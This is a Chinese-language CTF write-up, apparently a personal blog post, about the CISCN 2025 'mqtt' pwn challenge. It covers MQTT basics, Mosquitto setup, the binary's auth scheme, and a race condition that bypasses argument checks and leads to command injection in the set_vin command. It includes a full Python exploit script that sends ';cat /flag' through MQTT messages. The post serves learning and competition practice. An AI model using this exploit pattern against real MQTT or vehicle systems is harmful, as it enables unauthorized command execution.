01.先发牢骚
第一次参加打进国赛的总决赛,早听闻过决赛会出一些工控和车联网类型的题目,也大致了解过有mqtt协议类型的pwn题,并使用python的paho库进行客户端交互,但在比赛前全网搜,没有搜出来现成的exp交互板子。。。(明明我前段时间才看到过,不知道是不是啥原因下架了)
再加上自己对mqtt以及车联网这块的东西非常不熟,导致决赛的时候交互的脚本出现了各种离谱的错误,通过赛后反复拷打AI,和自己本地调试研究,总算是搞懂了大体的交互逻辑和思路。可惜,比赛的时候我太菜了,这题被打烂了都没做出来。。。不然就一等奖了,感觉对不起队友,队里大手子都发力那么多了,还是没进国一,我太菜了55555~~ 遗憾~
02.mqtt协议中的交互角色
a. broker
可以理解为提供mqtt服务的代理服务器,每个客户端都要连接它,通过subscribe(订阅)topic(主题),并在指定的topic上发布消息,所有与这个broker相连接的,订阅相同topic的client都能收到发布者客户端发布的消息。broker承担的主要就是一个中继器的作用,负责接受发布者的消息,并分发给订阅相同topic的client。
b. client
都需要连接到broker,通过给broker发布指定topic的消息,让其它订阅相同topic的client收到
示意图
client1,2,3,4同时连接broker,client1,2,3订阅topic"diag" ,这时client4发送topic为"diag" msg="hello"给broker,broker会向同时订阅topic="diag"的client1,2,3发送这个消息
03.服务环境搭建
1.使用安装 Mosquitto MQTT
sudo apt update sudo apt install mosquitto mosquitto-clients
2. 启动服务并设置开机自启
sudo systemctl enable mosquitto sudo systemctl start mosquitto
3.测试服务(在终端开两个窗口)
窗口1 订阅主题
mosquitto_sub -h localhost -t test/topic
窗口2 发布消息
mosquitto_pub -h localhost -t test/topic -m "Hello MQTT"
如果一切顺利,可以在窗口1中看到对应的消息
4.更改配置文件
sudo vim /etc/mosquitto/mosquitto.conf
listener 9999 #设置监听端口为 9999 allow_anonymous true # 可选,允许匿名访问(默认) sudo systemctl restart mosquitto # 重启服务
04.题目复盘
ciscn2025 mqtt
题目给压缩包看起来东西非常多,我一开始还怕像去年国赛的题目,需要手动patchelf调半天,但实际上只要放在一个文件夹下就可以直接运行
a. pwn文件逻辑分析
题目总体的符号表没去,逻辑也很清晰,这里做了些函数重命名
main函数
我们直接往下看关键点,getmessage函数做了什么
接着跟进start_routine函数,看看它做了什么
先做了鉴权,然后根据我们的cmd传入的值,执行不同的操作,arg是我们传入的参数
漏洞点存在于当cmd为set_vin的时候,存在明显的命令注入
b. auth与check_arg绕过
仔细分析逻辑可以知道,程序开始读了/mnt/VIN的文件内容,并将它赋值到dest全局变量中
在鉴权环节,会将我们的dest中的内容进行处理,给到s2,然后比对我们的auth和s2是否一致
但在sub_1E1A中,会将dest的内容发布到 topic="diag/resp" 中,我们只需要在exp中接受dest,并采用sum2hex的处理方法计算出auth即可
再来看看check_arg对我们的传入的参数做了哪些限制,反正我比赛的时候没看懂,靠猜了,估计是限制可见字符或者数字字母之类的。问问AI说是限制为数字和字母
注意到在每次检查通过进入if分支之后,有一个sleep(2),而我们的arg是一个全局变量,该回调函数又是通过线程创建,条件竞争race condition没跑了。。。
那么我们的思路就非常清晰了
-
计算auth
-
race condition,首次构造arg为任意字母数字,通过check,再马上pulish_msg,将arg改成我们的指令
-
成功popen执行命令
c. exp 板子与坑点
说几个坑点吧,其实我比赛的时候也大致知道有这么个交互逻辑,但是种种细节没写对,导致连接远程的时候没有回显,我甚至一度怀疑是不是mqtt协议是经过魔改的,非paho标准实现,但是看到那么多人都写出来了,应该没有那么难,赛后也问了好多师傅,都是直接日远程就出了,哎还是自己太菜,细节把握和经验不够 (都是废话可以不看)
-
subscribe要写到on_connect回调函数里头,反正我本机是要这样写,不然没回显,订阅不上
-
on_message可以写一下,方便调试
-
client.loop_start() 要加上
#! /usr/bin/python3 import random from pwn import * import time import paho.mqtt.client as mqtt import json context(log_level = "debug",os = "linux",arch = "amd64") pwnFile = "./pwn" libcFile = "./libc.so.6" ip = "127.0.0.1" local = "" local_port = 9999 port = 9999 elf = ELF(pwnFile) libc = ELF(libcFile) def debug(value): if value==1: io = process(pwnFile) else: io = remote(ip,port) return io def dbg(msg=""): gdb.attach(io,msg) def publish(client,topic,auth,cmd,arg): msg = { "auth":auth, "cmd":cmd, "arg":arg } result = client.publish(topic = topic, payload = json.dumps(msg)) print(json.dumps(msg)) print(result) return result def on_connect(client, userdata, flags, rc): client.subscribe("vehicle_diag") client.subscribe("diag") client.subscribe("#") # 订阅所有 client.subscribe("diag/resp") print("Connected with result code " + str(rc)) def on_subscribe(client,userdata,mid,granted_qos): print("消息发送成功") def on_message(client, userdata, msg): message = msg.payload.decode()# Decode message payload print(f"Received message on topic '{msg.topic}': {message}") # try: # data = json.loads(message) # 解析为字典 # dest = data.get("vin") # 获取vin字段 # log.success("dest -> "+ dest) # except json.JSONDecodeError: # print("JSON解析失败") print(message) def sum2hex(dest): v3 = 0 for i in range(len(dest)): v3 = (0x1f * v3 + ord(dest[i])) & 0xffffffff log.success(f"sum2hex -> {v3:08x}") return f"{v3:08x}" io = debug(0) #gdb.attach(io,'b *$rebase(0x1EC0)') topic = "diag" client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message client.on_subscribe = on_subscribe client.connect(host = "127.0.0.1",port = 9999,keepalive=10000) auth = sum2hex("test") publish(client,"diag",auth,"set_vin","111111111111") sleep(0.5) publish(client,"diag",auth,"set_vin",";cat /flag") publish(client,"diag",auth,"set_vin",";cat /flag") sleep(1) client.loop_start() io.interactive()
d.本地效果
先启动pwn程序,连接broker,并注册回调函数
注意:pwn程序开始会有读文件,这个文件要手动创建一下
另一个控制台运行我们的exp,向broker发送相应主题的消息,broker转发给pwn程序,触发pwn程序中的线程处理
看到最终的效果如下vin文件中的值也被我们覆写了,如果比赛的时候覆写坏了,可以重新开一个docker
05.总结
根据去年的国赛和今年的国赛对比,不难得出一个结论,pwn题越来越往交互与调试方面去考察,而不是局限于传统的漏洞利用trick,堆栈溢出那种,当然今年也有,不过挺难的,再加上时间很紧,我没有做出来~,中山大学的大手子们太c了。期待wp狠狠学习一下,如果本文有误或者哪里不清晰,希望师傅们海涵。